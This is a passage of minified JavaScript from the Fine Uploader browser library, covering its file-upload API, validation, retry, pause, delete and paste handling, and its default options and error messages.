this._handleNewFile(e,i,d)},this),u=function(){qq.isFileList(e)&&(e=Array.prototype.slice.call(e)),e=[].concat(e)},c=this,d=[];this._currentBatchId=i,e&&(u(),qq.each(e,function(e,t){qq.isFileOrInput(t)?l(t):qq.isBlob(t)?o(t):qq.isObject(t)?t.blob&&t.name?r(t):t.canvas&&t.name&&s(t):t.tagName&&"canvas"===t.tagName.toLowerCase()?a(t):c.log(t+" is not a valid file container!  Ignoring!","warn")}),this.log("Received "+d.length+" files."),this._prepareItemsForUpload(d,t,n))},cancel:function(e){this._handler.cancel(e)},cancelAll:function(){var e=[],t=this;qq.extend(e,this._storedIds),qq.each(e,function(e,n){t.cancel(n)}),this._handler.cancelAll()},clearStoredFiles:function(){this._storedIds=[]},continueUpload:function(e){var t=this._uploadData.retrieve({id:e});return!(!qq.supportedFeatures.pause||!this._options.chunking.enabled)&&(t.status===qq.status.PAUSED?(this.log(qq.format("Paused file ID {} ({}) will be continued.  Not paused.",e,this.getName(e))),this._uploadFile(e),!0):(this.log(qq.format("Ignoring continue for file ID {} ({}).  Not paused.",e,this.getName(e)),"error"),!1))},deleteFile:function(e){return this._onSubmitDelete(e)},doesExist:function(e){return this._handler.isValid(e)},drawThumbnail:function(e,t,n,i,o){var r,a,s=new qq.Promise;return this._imageGenerator?(r=this._thumbnailUrls[e],a={customResizeFunction:o,maxSize:n>0?n:null,scale:n>0},!i&&qq.supportedFeatures.imagePreviews&&(r=this.getFile(e)),null==r?s.failure({container:t,error:"File or URL not found."}):this._imageGenerator.generate(r,t,a).then(function(e){s.success(e)},function(e,t){s.failure({container:e,error:t||"Problem generating thumbnail"})})):s.failure({container:t,error:"Missing image generator module"}),s},getButton:function(e){return this._getButton(this._buttonIdsForFileIds[e])},getEndpoint:function(e){return this._endpointStore.get(e)},getFile:function(e){return this._handler.getFile(e)||null},getInProgress:function(){return this._uploadData.retrieve({status:[qq.status.UPLOADING,qq.status.UPLOAD_RETRYING,qq.status.QUEUED]}).length},getName:function(e){return this._uploadData.retrieve({id:e}).name},getParentId:function(e){var t=this.getUploads({id:e}),n=null;return t&&void 0!==t.parentId&&(n=t.parentId),n},getResumableFilesData:function(){return this._handler.getResumableFilesData()},getSize:function(e){return this._uploadData.retrieve({id:e}).size},getNetUploads:function(){return this._netUploaded},getRemainingAllowedItems:function(){var e=this._currentItemLimit;return e>0?e-this._netUploadedOrQueued:null},getUploads:function(e){return this._uploadData.retrieve(e)},getUuid:function(e){return this._uploadData.retrieve({id:e}).uuid},log:function(e,t){!this._options.debug||t&&"info"!==t?t&&"info"!==t&&qq.log("[Fine Uploader "+qq.version+"] "+e,t):qq.log("[Fine Uploader "+qq.version+"] "+e)},pauseUpload:function(e){var t=this._uploadData.retrieve({id:e});if(!qq.supportedFeatures.pause||!this._options.chunking.enabled)return!1;if(qq.indexOf([qq.status.UPLOADING,qq.status.UPLOAD_RETRYING],t.status)>=0){if(this._handler.pause(e))return this._uploadData.setStatus(e,qq.status.PAUSED),!0;this.log(qq.format("Unable to pause file ID {} ({}).",e,this.getName(e)),"error")}else this.log(qq.format("Ignoring pause for file ID {} ({}).  Not in progress.",e,this.getName(e)),"error");return!1},reset:function(){this.log("Resetting uploader..."),this._handler.reset(),this._storedIds=[],this._autoRetries=[],this._retryTimeouts=[],this._preventRetries=[],this._thumbnailUrls=[],qq.each(this._buttons,function(e,t){t.reset()}),this._paramsStore.reset(),this._endpointStore.reset(),this._netUploadedOrQueued=0,this._netUploaded=0,this._uploadData.reset(),this._buttonIdsForFileIds=[],this._pasteHandler&&this._pasteHandler.reset(),this._options.session.refreshOnReset&&this._refreshSessionData(),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[],this._totalProgress&&this._totalProgress.reset()},retry:function(e){return this._manualRetry(e)},scaleImage:function(e,t){var n=this;return qq.Scaler.prototype.scaleImage(e,t,{log:qq.bind(n.log,n),getFile:qq.bind(n.getFile,n),uploadData:n._uploadData})},setCustomHeaders:function(e,t){this._customHeadersStore.set(e,t)},setDeleteFileCustomHeaders:function(e,t){this._deleteFileCustomHeadersStore.set(e,t)},setDeleteFileEndpoint:function(e,t){this._deleteFileEndpointStore.set(e,t)},setDeleteFileParams:function(e,t){this._deleteFileParamsStore.set(e,t)},setEndpoint:function(e,t){this._endpointStore.set(e,t)},setForm:function(e){this._updateFormSupportAndParams(e)},setItemLimit:function(e){this._currentItemLimit=e},setName:function(e,t){this._uploadData.updateName(e,t)},setParams:function(e,t){this._paramsStore.set(e,t)},setUuid:function(e,t){return this._uploadData.uuidChanged(e,t)},uploadStoredFiles:function(){0===this._storedIds.length?this._itemError("noFilesError"):this._uploadStoredFiles()}},qq.basePrivateApi={_addCannedFile:function(e){var t=this._uploadData.addFile({uuid:e.uuid,name:e.name,size:e.size,status:qq.status.UPLOAD_SUCCESSFUL});return e.deleteFileEndpoint&&this.setDeleteFileEndpoint(e.deleteFileEndpoint,t),e.deleteFileParams&&this.setDeleteFileParams(e.deleteFileParams,t),e.thumbnailUrl&&(this._thumbnailUrls[t]=e.thumbnailUrl),this._netUploaded++,this._netUploadedOrQueued++,t},_annotateWithButtonId:function(e,t){qq.isFile(e)&&(e.qqButtonId=this._getButtonId(t))},_batchError:function(e){this._options.callbacks.onError(null,null,e,void 0)},_createDeleteHandler:function(){var e=this;return new qq.DeleteFileAjaxRequester({method:this._options.deleteFile.method.toUpperCase(),maxConnections:this._options.maxConnections,uuidParamName:this._options.request.uuidName,customHeaders:this._deleteFileCustomHeadersStore,paramsStore:this._deleteFileParamsStore,endpointStore:this._deleteFileEndpointStore,cors:this._options.cors,log:qq.bind(e.log,e),onDelete:function(t){e._onDelete(t),e._options.callbacks.onDelete(t)},onDeleteComplete:function(t,n,i){e._onDeleteComplete(t,n,i),e._options.callbacks.onDeleteComplete(t,n,i)}})},_createPasteHandler:function(){var e=this;return new qq.PasteSupport({targetElement:this._options.paste.targetElement,callbacks:{log:qq.bind(e.log,e),pasteReceived:function(t){e._handleCheckedCallback({name:"onPasteReceived",callback:qq.bind(e._options.callbacks.onPasteReceived,e,t),onSuccess:qq.bind(e._handlePasteSuccess,e,t),identifier:"pasted image"})}}})},_createStore:function(e,t){var n={},i=e,o={},r=t,a=function(e){return qq.isObject(e)?qq.extend({},e):e},s=function(){return qq.isFunction(r)?r():r},l=function(e,t){r&&qq.isObject(t)&&qq.extend(t,s()),o[e]&&qq.extend(t,o[e])};return{set:function(e,t){null==t?(n={},i=a(e)):n[t]=a(e)},get:function(e){var t;return t=null!=e&&n[e]?n[e]:a(i),l(e,t),a(t)},addReadOnly:function(e,t){qq.isObject(n)&&(null===e?qq.isFunction(t)?r=t:(r=r||{},qq.extend(r,t)):(o[e]=o[e]||{},qq.extend(o[e],t)))},remove:function(e){return delete n[e]},reset:function(){n={},o={},i=e}}},_createUploadDataTracker:function(){var e=this;return new qq.UploadData({getName:function(t){return e.getName(t)},getUuid:function(t){return e.getUuid(t)},getSize:function(t){return e.getSize(t)},onStatusChange:function(t,n,i){e._onUploadStatusChange(t,n,i),e._options.callbacks.onStatusChange(t,n,i),e._maybeAllComplete(t,i),e._totalProgress&&setTimeout(function(){e._totalProgress.onStatusChange(t,n,i)},0)}})},_createUploadButton:function(e){function t(){return!!qq.supportedFeatures.ajaxUploading&&(!(i._options.workarounds.iosEmptyVideos&&qq.ios()&&!qq.ios6()&&i._isAllowedExtension(r,".mov"))&&(void 0===e.multiple?i._options.multiple:e.multiple))}var n,i=this,o=e.accept||this._options.validation.acceptFiles,r=e.allowedExtensions||this._options.validation.allowedExtensions;return n=new qq.UploadButton({acceptFiles:o,element:e.element,focusClass:this._options.classes.buttonFocus,folders:e.folders,hoverClass:this._options.classes.buttonHover,ios8BrowserCrashWorkaround:this._options.workarounds.ios8BrowserCrash,multiple:t(),name:this._options.request.inputName,onChange:function(e){i._onInputChange(e)},title:null==e.title?this._options.text.fileInputTitle:e.title}),this._disposeSupport.addDisposer(function(){n.dispose()}),i._buttons.push(n),n},_createUploadHandler:function(e,t){var n=this,i={},o={debug:this._options.debug,maxConnections:this._options.maxConnections,cors:this._options.cors,paramsStore:this._paramsStore,endpointStore:this._endpointStore,chunking:this._options.chunking,resume:this._options.resume,blobs:this._options.blobs,log:qq.bind(n.log,n),preventRetryParam:this._options.retry.preventRetryResponseProperty,onProgress:function(e,t,o,r){o<0||r<0||(i[e]?i[e].loaded===o&&i[e].total===r||(n._onProgress(e,t,o,r),n._options.callbacks.onProgress(e,t,o,r)):(n._onProgress(e,t,o,r),n._options.callbacks.onProgress(e,t,o,r)),i[e]={loaded:o,total:r})},onComplete:function(e,t,o,r){delete i[e];var a,s=n.getUploads({id:e}).status;s!==qq.status.UPLOAD_SUCCESSFUL&&s!==qq.status.UPLOAD_FAILED&&(a=n._onComplete(e,t,o,r),a instanceof qq.Promise?a.done(function(){n._options.callbacks.onComplete(e,t,o,r)}):n._options.callbacks.onComplete(e,t,o,r))},onCancel:function(e,t,i){var o=new qq.Promise;return n._handleCheckedCallback({name:"onCancel",callback:qq.bind(n._options.callbacks.onCancel,n,e,t),onFailure:o.failure,onSuccess:function(){i.then(function(){n._onCancel(e,t)}),o.success()},identifier:e}),o},onUploadPrep:qq.bind(this._onUploadPrep,this),onUpload:function(e,t){n._onUpload(e,t),n._options.callbacks.onUpload(e,t)},onUploadChunk:function(e,t,i){n._onUploadChunk(e,i),n._options.callbacks.onUploadChunk(e,t,i)},onUploadChunkSuccess:function(e,t,i,o){n._options.callbacks.onUploadChunkSuccess.apply(n,arguments)},onResume:function(e,t,i){return n._options.callbacks.onResume(e,t,i)},onAutoRetry:function(e,t,i,o){return n._onAutoRetry.apply(n,arguments)},onUuidChanged:function(e,t){n.log("Server requested UUID change from '"+n.getUuid(e)+"' to '"+t+"'"),n.setUuid(e,t)},getName:qq.bind(n.getName,n),getUuid:qq.bind(n.getUuid,n),getSize:qq.bind(n.getSize,n),setSize:qq.bind(n._setSize,n),getDataByUuid:function(e){return n.getUploads({uuid:e})},isQueued:function(e){var t=n.getUploads({id:e}).status;return t===qq.status.QUEUED||t===qq.status.SUBMITTED||t===qq.status.UPLOAD_RETRYING||t===qq.status.PAUSED},getIdsInProxyGroup:n._uploadData.getIdsInProxyGroup,getIdsInBatch:n._uploadData.getIdsInBatch};return qq.each(this._options.request,function(e,t){o[e]=t}),o.customHeaders=this._customHeadersStore,e&&qq.each(e,function(e,t){o[e]=t}),new qq.UploadHandlerController(o,t)},_fileOrBlobRejected:function(e){this._netUploadedOrQueued--,this._uploadData.setStatus(e,qq.status.REJECTED)},_formatSize:function(e){var t=-1;do e/=1e3,t++;while(e>999);return Math.max(e,.1).toFixed(1)+this._options.text.sizeSymbols[t]},_generateExtraButtonSpecs:function(){var e=this;this._extraButtonSpecs={},qq.each(this._options.extraButtons,function(t,n){var i=n.multiple,o=qq.extend({},e._options.validation,!0),r=qq.extend({},n);void 0===i&&(i=e._options.multiple),r.validation&&qq.extend(o,n.validation,!0),qq.extend(r,{multiple:i,validation:o},!0),e._initExtraButton(r)})},_getButton:function(e){var t=this._extraButtonSpecs[e];return t?t.element:e===this._defaultButtonId?this._options.button:void 0},_getButtonId:function(e){var t,n,i=e;if(i instanceof qq.BlobProxy&&(i=i.referenceBlob),i&&!qq.isBlob(i)){if(qq.isFile(i))return i.qqButtonId;if("input"===i.tagName.toLowerCase()&&"file"===i.type.toLowerCase())return i.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME);if(t=i.getElementsByTagName("input"),qq.each(t,function(e,t){if("file"===t.getAttribute("type"))return n=t,!1}),n)return n.getAttribute(qq.UploadButton.BUTTON_ID_ATTR_NAME)}},_getNotFinished:function(){return this._uploadData.retrieve({status:[qq.status.UPLOADING,qq.status.UPLOAD_RETRYING,qq.status.QUEUED,qq.status.SUBMITTING,qq.status.SUBMITTED,qq.status.PAUSED]}).length},_getValidationBase:function(e){var t=this._extraButtonSpecs[e];return t?t.validation:this._options.validation},_getValidationDescriptor:function(e){return e.file instanceof qq.BlobProxy?{name:qq.getFilename(e.file.referenceBlob),size:e.file.referenceBlob.size}:{name:this.getUploads({id:e.id}).name,size:this.getUploads({id:e.id}).size}},_getValidationDescriptors:function(e){var t=this,n=[];return qq.each(e,function(e,i){n.push(t._getValidationDescriptor(i))}),n},_handleCameraAccess:function(){if(this._options.camera.ios&&qq.ios()){var e="image/*;capture=camera",t=this._options.camera.button,n=t?this._getButtonId(t):this._defaultButtonId,i=this._options;n&&n!==this._defaultButtonId&&(i=this._extraButtonSpecs[n]),i.multiple=!1,null===i.validation.acceptFiles?i.validation.acceptFiles=e:i.validation.acceptFiles+=","+e,qq.each(this._buttons,function(e,t){if(t.getButtonId()===n)return t.setMultiple(i.multiple),t.setAcceptFiles(i.acceptFiles),!1})}},_handleCheckedCallback:function(e){var t=this,n=e.callback();return qq.isGenericPromise(n)?(this.log(e.name+" - waiting for "+e.name+" promise to be fulfilled for "+e.identifier),n.then(function(n){t.log(e.name+" promise success for "+e.identifier),e.onSuccess(n)},function(){e.onFailure?(t.log(e.name+" promise failure for "+e.identifier),e.onFailure()):t.log(e.name+" promise failure for "+e.identifier)})):(n!==!1?e.onSuccess(n):e.onFailure?(this.log(e.name+" - return value was 'false' for "+e.identifier+".  Invoking failure callback."),e.onFailure()):this.log(e.name+" - return value was 'false' for "+e.identifier+".  Will not proceed."),n)},_handleNewFile:function(e,t,n){var i=this,o=qq.getUniqueId(),r=-1,a=qq.getFilename(e),s=e.blob||e,l=this._customNewFileHandler?this._customNewFileHandler:qq.bind(i._handleNewFileGeneric,i);!qq.isInput(s)&&s.size>=0&&(r=s.size),l(s,a,o,r,n,t,this._options.request.uuidName,{uploadData:i._uploadData,paramsStore:i._paramsStore,addFileToHandler:function(e,t){i._handler.add(e,t),i._netUploadedOrQueued++,i._trackButton(e)}})},_handleNewFileGeneric:function(e,t,n,i,o,r){
var a=this._uploadData.addFile({uuid:n,name:t,size:i,batchId:r});this._handler.add(a,e),this._trackButton(a),this._netUploadedOrQueued++,o.push({id:a,file:e})},_handlePasteSuccess:function(e,t){var n=e.type.split("/")[1],i=t;null==i&&(i=this._options.paste.defaultName),i+="."+n,this.addFiles({name:i,blob:e})},_initExtraButton:function(e){var t=this._createUploadButton({accept:e.validation.acceptFiles,allowedExtensions:e.validation.allowedExtensions,element:e.element,folders:e.folders,multiple:e.multiple,title:e.fileInputTitle});this._extraButtonSpecs[t.getButtonId()]=e},_initFormSupportAndParams:function(){this._formSupport=qq.FormSupport&&new qq.FormSupport(this._options.form,qq.bind(this.uploadStoredFiles,this),qq.bind(this.log,this)),this._formSupport&&this._formSupport.attachedToForm?(this._paramsStore=this._createStore(this._options.request.params,this._formSupport.getFormInputsAsObject),this._options.autoUpload=this._formSupport.newAutoUpload,this._formSupport.newEndpoint&&(this._options.request.endpoint=this._formSupport.newEndpoint)):this._paramsStore=this._createStore(this._options.request.params)},_isDeletePossible:function(){return!(!qq.DeleteFileAjaxRequester||!this._options.deleteFile.enabled)&&(!this._options.cors.expected||(!!qq.supportedFeatures.deleteFileCorsXhr||!(!qq.supportedFeatures.deleteFileCorsXdr||!this._options.cors.allowXdr)))},_isAllowedExtension:function(e,t){var n=!1;return!e.length||(qq.each(e,function(e,i){if(qq.isString(i)){var o=new RegExp("\\."+i+"$","i");if(null!=t.match(o))return n=!0,!1}}),n)},_itemError:function(e,t,n){function i(e,t){a=a.replace(e,t)}var o,r,a=this._options.messages[e],s=[],l=[].concat(t),u=l[0],c=this._getButtonId(n),d=this._getValidationBase(c);return qq.each(d.allowedExtensions,function(e,t){qq.isString(t)&&s.push(t)}),o=s.join(", ").toLowerCase(),i("{file}",this._options.formatFileName(u)),i("{extensions}",o),i("{sizeLimit}",this._formatSize(d.sizeLimit)),i("{minSizeLimit}",this._formatSize(d.minSizeLimit)),r=a.match(/(\{\w+\})/g),null!==r&&qq.each(r,function(e,t){i(t,l[e])}),this._options.callbacks.onError(null,u,a,void 0),a},_manualRetry:function(e,t){if(this._onBeforeManualRetry(e))return this._netUploadedOrQueued++,this._uploadData.setStatus(e,qq.status.UPLOAD_RETRYING),t?t(e):this._handler.retry(e),!0},_maybeAllComplete:function(e,t){var n=this,i=this._getNotFinished();t===qq.status.UPLOAD_SUCCESSFUL?this._succeededSinceLastAllComplete.push(e):t===qq.status.UPLOAD_FAILED&&this._failedSinceLastAllComplete.push(e),0===i&&(this._succeededSinceLastAllComplete.length||this._failedSinceLastAllComplete.length)&&setTimeout(function(){n._onAllComplete(n._succeededSinceLastAllComplete,n._failedSinceLastAllComplete)},0)},_maybeHandleIos8SafariWorkaround:function(){var e=this;if(this._options.workarounds.ios8SafariUploads&&qq.ios800()&&qq.iosSafari())throw setTimeout(function(){window.alert(e._options.messages.unsupportedBrowserIos8Safari)},0),new qq.Error(this._options.messages.unsupportedBrowserIos8Safari)},_maybeParseAndSendUploadError:function(e,t,n,i){if(!n.success)if(i&&200!==i.status&&!n.error)this._options.callbacks.onError(e,t,"XHR returned response code "+i.status,i);else{var o=n.error?n.error:this._options.text.defaultResponseError;this._options.callbacks.onError(e,t,o,i)}},_maybeProcessNextItemAfterOnValidateCallback:function(e,t,n,i,o){var r=this;if(t.length>n)if(e||!this._options.validation.stopOnFirstInvalidFile)setTimeout(function(){var e=r._getValidationDescriptor(t[n]),a=r._getButtonId(t[n].file),s=r._getButton(a);r._handleCheckedCallback({name:"onValidate",callback:qq.bind(r._options.callbacks.onValidate,r,e,s),onSuccess:qq.bind(r._onValidateCallbackSuccess,r,t,n,i,o),onFailure:qq.bind(r._onValidateCallbackFailure,r,t,n,i,o),identifier:"Item '"+e.name+"', size: "+e.size})},0);else if(!e)for(;n<t.length;n++)r._fileOrBlobRejected(t[n].id)},_onAllComplete:function(e,t){this._totalProgress&&this._totalProgress.onAllComplete(e,t,this._preventRetries),this._options.callbacks.onAllComplete(qq.extend([],e),qq.extend([],t)),this._succeededSinceLastAllComplete=[],this._failedSinceLastAllComplete=[]},_onAutoRetry:function(e,t,n,i,o){var r=this;if(r._preventRetries[e]=n[r._options.retry.preventRetryResponseProperty],r._shouldAutoRetry(e,t,n))return r._maybeParseAndSendUploadError.apply(r,arguments),r._options.callbacks.onAutoRetry(e,t,r._autoRetries[e]),r._onBeforeAutoRetry(e,t),r._retryTimeouts[e]=setTimeout(function(){r.log("Retrying "+t+"..."),r._uploadData.setStatus(e,qq.status.UPLOAD_RETRYING),o?o(e):r._handler.retry(e)},1e3*r._options.retry.autoAttemptDelay),!0},_onBeforeAutoRetry:function(e,t){this.log("Waiting "+this._options.retry.autoAttemptDelay+" seconds before retrying "+t+"...")},_onBeforeManualRetry:function(e){var t,n=this._currentItemLimit;return this._preventRetries[e]?(this.log("Retries are forbidden for id "+e,"warn"),!1):this._handler.isValid(e)?(t=this.getName(e),this._options.callbacks.onManualRetry(e,t)!==!1&&(n>0&&this._netUploadedOrQueued+1>n?(this._itemError("retryFailTooManyItems"),!1):(this.log("Retrying upload for '"+t+"' (id: "+e+")..."),!0))):(this.log("'"+e+"' is not a valid file ID","error"),!1)},_onCancel:function(e,t){this._netUploadedOrQueued--,clearTimeout(this._retryTimeouts[e]);var n=qq.indexOf(this._storedIds,e);!this._options.autoUpload&&n>=0&&this._storedIds.splice(n,1),this._uploadData.setStatus(e,qq.status.CANCELED)},_onComplete:function(e,t,n,i){return n.success?(n.thumbnailUrl&&(this._thumbnailUrls[e]=n.thumbnailUrl),this._netUploaded++,this._uploadData.setStatus(e,qq.status.UPLOAD_SUCCESSFUL)):(this._netUploadedOrQueued--,this._uploadData.setStatus(e,qq.status.UPLOAD_FAILED),n[this._options.retry.preventRetryResponseProperty]===!0&&(this._preventRetries[e]=!0)),this._maybeParseAndSendUploadError(e,t,n,i),!!n.success},_onDelete:function(e){this._uploadData.setStatus(e,qq.status.DELETING)},_onDeleteComplete:function(e,t,n){var i=this.getName(e);n?(this._uploadData.setStatus(e,qq.status.DELETE_FAILED),this.log("Delete request for '"+i+"' has failed.","error"),void 0===t.withCredentials?this._options.callbacks.onError(e,i,"Delete request failed",t):this._options.callbacks.onError(e,i,"Delete request failed with response code "+t.status,t)):(this._netUploadedOrQueued--,this._netUploaded--,this._handler.expunge(e),this._uploadData.setStatus(e,qq.status.DELETED),this.log("Delete request for '"+i+"' has succeeded."))},_onInputChange:function(e){var t;if(qq.supportedFeatures.ajaxUploading){for(t=0;t<e.files.length;t++)this._annotateWithButtonId(e.files[t],e);this.addFiles(e.files)}else e.value.length>0&&this.addFiles(e);qq.each(this._buttons,function(e,t){t.reset()})},_onProgress:function(e,t,n,i){this._totalProgress&&this._totalProgress.onIndividualProgress(e,n,i)},_onSubmit:function(e,t){},_onSubmitCallbackSuccess:function(e,t){this._onSubmit.apply(this,arguments),this._uploadData.setStatus(e,qq.status.SUBMITTED),this._onSubmitted.apply(this,arguments),this._options.autoUpload?(this._options.callbacks.onSubmitted.apply(this,arguments),this._uploadFile(e)):(this._storeForLater(e),this._options.callbacks.onSubmitted.apply(this,arguments))},_onSubmitDelete:function(e,t,n){var i,o=this.getUuid(e);return t&&(i=qq.bind(t,this,e,o,n)),this._isDeletePossible()?(this._handleCheckedCallback({name:"onSubmitDelete",callback:qq.bind(this._options.callbacks.onSubmitDelete,this,e),onSuccess:i||qq.bind(this._deleteHandler.sendDelete,this,e,o,n),identifier:e}),!0):(this.log("Delete request ignored for ID "+e+", delete feature is disabled or request not possible due to CORS on a user agent that does not support pre-flighting.","warn"),!1)},_onSubmitted:function(e){},_onTotalProgress:function(e,t){this._options.callbacks.onTotalProgress(e,t)},_onUploadPrep:function(e){},_onUpload:function(e,t){this._uploadData.setStatus(e,qq.status.UPLOADING)},_onUploadChunk:function(e,t){},_onUploadStatusChange:function(e,t,n){n===qq.status.PAUSED&&clearTimeout(this._retryTimeouts[e])},_onValidateBatchCallbackFailure:function(e){var t=this;qq.each(e,function(e,n){t._fileOrBlobRejected(n.id)})},_onValidateBatchCallbackSuccess:function(e,t,n,i,o){var r,a=this._currentItemLimit,s=this._netUploadedOrQueued;0===a||s<=a?t.length>0?this._handleCheckedCallback({name:"onValidate",callback:qq.bind(this._options.callbacks.onValidate,this,e[0],o),onSuccess:qq.bind(this._onValidateCallbackSuccess,this,t,0,n,i),onFailure:qq.bind(this._onValidateCallbackFailure,this,t,0,n,i),identifier:"Item '"+t[0].file.name+"', size: "+t[0].file.size}):this._itemError("noFilesError"):(this._onValidateBatchCallbackFailure(t),r=this._options.messages.tooManyItemsError.replace(/\{netItems\}/g,s).replace(/\{itemLimit\}/g,a),this._batchError(r))},_onValidateCallbackFailure:function(e,t,n,i){var o=t+1;this._fileOrBlobRejected(e[t].id,e[t].file.name),this._maybeProcessNextItemAfterOnValidateCallback(!1,e,o,n,i)},_onValidateCallbackSuccess:function(e,t,n,i){var o=this,r=t+1,a=this._getValidationDescriptor(e[t]);this._validateFileOrBlobData(e[t],a).then(function(){o._upload(e[t].id,n,i),o._maybeProcessNextItemAfterOnValidateCallback(!0,e,r,n,i)},function(){o._maybeProcessNextItemAfterOnValidateCallback(!1,e,r,n,i)})},_prepareItemsForUpload:function(e,t,n){if(0===e.length)return void this._itemError("noFilesError");var i=this._getValidationDescriptors(e),o=this._getButtonId(e[0].file),r=this._getButton(o);this._handleCheckedCallback({name:"onValidateBatch",callback:qq.bind(this._options.callbacks.onValidateBatch,this,i,r),onSuccess:qq.bind(this._onValidateBatchCallbackSuccess,this,i,e,t,n,r),onFailure:qq.bind(this._onValidateBatchCallbackFailure,this,e),identifier:"batch validation"})},_preventLeaveInProgress:function(){var e=this;this._disposeSupport.attach(window,"beforeunload",function(t){if(e.getInProgress())return t=t||window.event,t.returnValue=e._options.messages.onLeave,e._options.messages.onLeave})},_refreshSessionData:function(){var e=this,t=this._options.session;qq.Session&&null!=this._options.session.endpoint&&(this._session||(qq.extend(t,{cors:this._options.cors}),t.log=qq.bind(this.log,this),t.addFileRecord=qq.bind(this._addCannedFile,this),this._session=new qq.Session(t)),setTimeout(function(){e._session.refresh().then(function(t,n){e._sessionRequestComplete(),e._options.callbacks.onSessionRequestComplete(t,!0,n)},function(t,n){e._options.callbacks.onSessionRequestComplete(t,!1,n)})},0))},_sessionRequestComplete:function(){},_setSize:function(e,t){this._uploadData.updateSize(e,t),this._totalProgress&&this._totalProgress.onNewSize(e)},_shouldAutoRetry:function(e,t,n){var i=this._uploadData.retrieve({id:e});return!!(!this._preventRetries[e]&&this._options.retry.enableAuto&&i.status!==qq.status.PAUSED&&(void 0===this._autoRetries[e]&&(this._autoRetries[e]=0),this._autoRetries[e]<this._options.retry.maxAutoAttempts))&&(this._autoRetries[e]+=1,!0)},_storeForLater:function(e){this._storedIds.push(e)},_trackButton:function(e){var t;t=qq.supportedFeatures.ajaxUploading?this._handler.getFile(e).qqButtonId:this._getButtonId(this._handler.getInput(e)),t&&(this._buttonIdsForFileIds[e]=t)},_updateFormSupportAndParams:function(e){this._options.form.element=e,this._formSupport=qq.FormSupport&&new qq.FormSupport(this._options.form,qq.bind(this.uploadStoredFiles,this),qq.bind(this.log,this)),this._formSupport&&this._formSupport.attachedToForm&&(this._paramsStore.addReadOnly(null,this._formSupport.getFormInputsAsObject),this._options.autoUpload=this._formSupport.newAutoUpload,this._formSupport.newEndpoint&&this.setEndpoint(this._formSupport.newEndpoint))},_upload:function(e,t,n){var i=this.getName(e);t&&this.setParams(t,e),n&&this.setEndpoint(n,e),this._handleCheckedCallback({name:"onSubmit",callback:qq.bind(this._options.callbacks.onSubmit,this,e,i),onSuccess:qq.bind(this._onSubmitCallbackSuccess,this,e,i),onFailure:qq.bind(this._fileOrBlobRejected,this,e,i),identifier:e})},_uploadFile:function(e){this._handler.upload(e)||this._uploadData.setStatus(e,qq.status.QUEUED)},_uploadStoredFiles:function(){for(var e,t,n=this;this._storedIds.length;)e=this._storedIds.shift(),this._uploadFile(e);t=this.getUploads({status:qq.status.SUBMITTING}).length,t&&(qq.log("Still waiting for "+t+" files to clear submit queue. Will re-parse stored IDs array shortly."),setTimeout(function(){n._uploadStoredFiles()},1e3))},_validateFileOrBlobData:function(e,t){var n=this,i=function(){return e.file instanceof qq.BlobProxy?e.file.referenceBlob:e.file}(),o=t.name,r=t.size,a=this._getButtonId(e.file),s=this._getValidationBase(a),l=new qq.Promise;return l.then(function(){},function(){n._fileOrBlobRejected(e.id,o)}),qq.isFileOrInput(i)&&!this._isAllowedExtension(s.allowedExtensions,o)?(this._itemError("typeError",o,i),l.failure()):0===r?(this._itemError("emptyError",o,i),l.failure()):r>0&&s.sizeLimit&&r>s.sizeLimit?(this._itemError("sizeError",o,i),l.failure()):r>0&&r<s.minSizeLimit?(this._itemError("minSizeError",o,i),l.failure()):(qq.ImageValidation&&qq.supportedFeatures.imagePreviews&&qq.isFile(i)?new qq.ImageValidation(i,qq.bind(n.log,n)).validate(s.image).then(l.success,function(e){n._itemError(e+"ImageError",o,i),l.failure()}):l.success(),l)},_wrapCallbacks:function(){var e,t,n;e=this,t=function(t,n,i){var o;try{return n.apply(e,i)}catch(n){o=n.message||n.toString(),e.log("Caught exception in '"+t+"' callback - "+o,"error")}};for(n in this._options.callbacks)!function(){var i,o;i=n,o=e._options.callbacks[i],e._options.callbacks[i]=function(){return t(i,o,arguments)}}()}}}(),function(){"use strict";qq.FineUploaderBasic=function(e){var t=this;this._options={debug:!1,button:null,multiple:!0,maxConnections:3,disableCancelForFormUploads:!1,autoUpload:!0,request:{customHeaders:{},endpoint:"/server/upload",filenameParam:"qqfilename",forceMultipart:!0,inputName:"qqfile",method:"POST",params:{},paramsInBody:!0,totalFileSizeName:"qqtotalfilesize",uuidName:"qquuid"},validation:{allowedExtensions:[],sizeLimit:0,minSizeLimit:0,itemLimit:0,stopOnFirstInvalidFile:!0,acceptFiles:null,image:{maxHeight:0,maxWidth:0,minHeight:0,minWidth:0}},callbacks:{onSubmit:function(e,t){},onSubmitted:function(e,t){},onComplete:function(e,t,n,i){},onAllComplete:function(e,t){},onCancel:function(e,t){},onUpload:function(e,t){},onUploadChunk:function(e,t,n){},onUploadChunkSuccess:function(e,t,n,i){},onResume:function(e,t,n){},onProgress:function(e,t,n,i){},onTotalProgress:function(e,t){},onError:function(e,t,n,i){},onAutoRetry:function(e,t,n){},onManualRetry:function(e,t){},onValidateBatch:function(e){},onValidate:function(e){},onSubmitDelete:function(e){},onDelete:function(e){},onDeleteComplete:function(e,t,n){},onPasteReceived:function(e){},onStatusChange:function(e,t,n){},onSessionRequestComplete:function(e,t,n){}},messages:{typeError:"{file} has an invalid extension. Valid extension(s): {extensions}.",sizeError:"{file} is too large, maximum file size is {sizeLimit}.",minSizeError:"{file} is too small, minimum file size is {minSizeLimit}.",emptyError:"{file} is empty, please select files again without it.",noFilesError:"No files to upload.",tooManyItemsError:"Too many items ({netItems}) would be uploaded.  Item limit is {itemLimit}.",maxHeightImageError:"Image is too tall.",maxWidthImageError:"Image is too wide.",minHeightImageError:"Image is not tall enough.",minWidthImageError:"Image is not wide enough.",retryFailTooManyItems:"Retry failed - you have reached your file limit.",onLeave:"The files are being uploaded, if you leave now the upload will be canceled.",unsupportedBrowserIos8Safari:"Unrecoverable error - this browser does not permit file uploading of any kind due to serious bugs in iOS8 Safari.  Please use iOS8 Chrome until Apple fixes these 